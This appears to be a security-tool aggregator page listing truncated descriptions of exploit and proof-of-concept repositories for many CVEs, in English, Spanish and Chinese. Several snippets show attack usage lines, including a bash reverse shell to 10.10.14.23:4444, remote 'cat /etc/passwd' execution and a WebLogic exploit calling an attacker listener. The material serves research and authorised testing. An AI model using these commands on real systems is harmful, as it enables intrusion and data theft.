CVE-2023-29489

Introductoin An exploitable reflected cross-site scripting XSS vulnerability has been discovered in certain versions of cPanel and was assigned with CVE-2023-29489. This vulnerability allows attackers to execute arbitrary JavaScript code without requiring authentication. The XSS vulnerability can...

CVE-2026-3300

CVE-2026-3300 - Wordpress ⚡ Uso Simple Usa este proyecto solo en entornos seguros y autorizados, como: Máquinas virtuales locales Contenedores Docker Configuraciones de laboratorio aisladas Entornos de pruebas de penetración autorizados Configuración de ejemplo: root@kitploit: git clone cd Projec...

CVE-2024-23739

CVE-2024-23739 An issue in Discord through 0.0.291 on macOS allows a remote attacker to execute arbitrary code via the RunAsNode and enableNodeClilnspectArguments settings. There is a tool designed to automate the process of searching for vulnerabilities in electron:...

CVE-2024-32002

CVE-2024-32002 只是基于现有 CVE 利用 CVE-2024-32002 的小脚本 使用方法 首先，在 GitHub 或 GitLab 上创建 2 个空仓库。 然后 git clone 并运行此脚本。 最后：git clone –recursive repo2 以自动触发 RCE。...

CVE-2024-47533

root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...

cve-2010-2075-analysis

CVE-2010-2075 – Backdoor de Ejecución Remota de Código en UnrealIRCd Resumen Este repositorio documenta el análisis y la explotación de CVE-2010-2075, una vulnerabilidad de backdoor que afecta a UnrealIRCd 3.2.8.1. La vulnerabilidad se reprodujo en un entorno de laboratorio controlado utilizando...

CVE-2021-22005_PoC

CVE-2021-22005PoC CVE-2021-22005PoC getshell: https://gist.github.com/testanull/c2f6fd061c496ea90ddee151d6738d2e verify: https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20210923WEBVmwarevCenterServerFIleUploadCVE-2021-20050.py...

CVE-2026-39107

CVE-2026-39107：Kimi AI v1.0 中的跨站脚本（XSS）漏洞 描述 Kimi AI v1.0 Web 界面的“预览”功能中存在跨站脚本（XSS）漏洞。应用程序未能正确清理或编码由 AI 模型生成的 HTML/JavaScript 载荷。当用户切换到“预览”选项卡查看 AI 生成的代码时，恶意载荷直接渲染到 DOM 中，导致受害者浏览器会话中执行任意 JavaScript。 研究员 Mustafa Hameed 漏洞详情 漏洞类型： 通过 AI 响应触发的存储型/类存储型跨站脚本（XSS） 受影响产品： Kimi AI 受影响版本： v1.0 受影响组件： “预览”选...

CVE-2026-5426

CVE-2026-5426 ⚡ 简单使用 请仅在安全且获得授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验环境 已授权的渗透测试环境 示例设置： root@kitploit: git clone cd 示例用法： root@kitploit: 测试单个目标是否存在漏洞 python cve-2026-5426.py -t https://example.com 从文件扫描多个目标 python cve-2026-5426.py -t targets.txt 在存在漏洞的目标上执行命令 python cve-2026-5426.py -t...

CVE-2024-24945-NGINX-RIFT---TryHackMe-Lab-Walkthrough

CVE-2024-24945-NGINX-RIFT---TryHackMe-Lab-Walkthrough This lab demonstrates the exploitation of CVE-2024-24945, a heap corruption vulnerability affecting NGINX. The objective was to understand how memory corruption can lead to Remote Code Execution RCE and gain practical experience in exploitatio...

CVE-2025-29017

CVE-2025-29017 - Internet Banking System 2.0.0 Remote Code Execution via Profile Picture Upload Description A Remote Code Execution RCE vulnerability exists in Code Astro Internet Banking System 2.0.0 due to improper file upload validation in the profilepic parameter within pagesviewclient.php...

CVE-2017-7269-exploit

Modificado a partir de https://github.com/edwardz246003/IISexploit.git Uso root@kitploit: -h : Seleccionar host por defecto 127.0.0.1 -p : Seleccionar puerto por defecto 80 Al final, añada el comando command por defecto regedit, actualmente este script solo admite un máximo de 8 caracteres...

CVE-2026-6992-PoC

CVE-2026-6992-PoC Prueba de concepto de vulnerabilidad para la inyección de código arbitrario por Bluetooth CVE-2026-6992, reelaborado desde https://github.com/utmost3/cve/issues/2. No me atribuyo crédito por el descubrimiento de la vulnerabilidad. Esto es solo con fines educativos y de portafoli...

cve-2019-16278

CVE-2019-16278 这是对CVE-2019-16278漏洞的利用程序。 它允许在nhttpd 服务器 v1.9.6 上执行远程代码。 从源码构建 该工具用Rust编写，你需要安装Rust编译器，按照他们页面上的说明操作非常简单。 编译 一旦安装了编译器和cargo，你可以运行： root@kitploit: cargo build 示例 root@kitploit: ./cve-2019-16278 10.10.1.1 80 "cat /etc/passwd" 此示例连接到主机10.10.1.1的80端口，并在远程主机上执行cat /etc/passwd。...

weblogic_2019_2725_wls_batch

weblogic20192725wlsbatch weblogic CVE-2019-2725漏洞Exp，针对wls-wsat组件的漏洞，使用三个exp进行批量检测。当时写的时候没想太多，就是验证漏洞存在就完了，于是脚本的功能就是对漏洞存在的机器输出whoami命令的结果。 使用 python3 weblogicbatchV1.0.py （将目标放入target.txt，一行一个。） 示例 单个验证...

CVE-2023-25202

CVE-2023-25202: Insecure file upload mechanism Description CVE-2023-25202 involves an insecure file upload mechanism within the Therefore application, which is overly permissive in the types of files users can upload. The application only blocks uploads of HTML, EXE, and BAK files, leaving it...

CVE-2026-42089

CVE-2026-42089 A local package installation helper trusted caller-supplied package names too much. In yeoman-environment, missing generators could be installed without user confirmation, turning attacker-controlled project metadata into a package-install and code-execution path. Intro I found thi...

CVE-2021-41773

CVE-2021-41773 — PoC: 路径穿越 + 基于 modcgi 的 RCE 仅限在受控且自有的环境中使用。未经授权不得针对任何系统使用。 描述 本 PoC 用于演示和理解 CVE-2021-41773 漏洞，该漏洞存在于 Apache HTTP Server 2.4.49 中。 该缺陷位于 apnormalizepath 函数中，该函数未正确验证 URL 编码的字符。攻击者可以通过编码后的字符序列（例如使用 %2e%2e%2f 代替 ../）绕过 DocumentRoot 限制，从而读取系统中的任意文件。 当 modcgi 模块启用时，该漏洞可升级为 RCE（远程代码执行）...

CVE-2023-33733

CVE-2023-33733 on Reportlab v3.6.12 This lab was set up to test CVE-2023-33733. Analyzing process You can see our analyzing process about this CVE in PDF file on main repo. Setup and Run Server Setup root@kitploit: pip3 install -r requirements.txt Run root@kitploit: python3 app.py Attacker Connec...

weblogic-cve-2018-2628

weblogic-cve-2018-2628 weblogic-cve-2018-2628-exp python2 weblogic-cve-2018-2628-exp.py targetip targetport ysoserial-0.1-cve-2018-2628-all.jar bindip bindport JRMPClient python weblogic-cve-2018-2628-exp.py weblogic-server 7001 ysoserial-0.1-cve-2018-2628-all.jar hacker-server 2333 JRMPClient ja...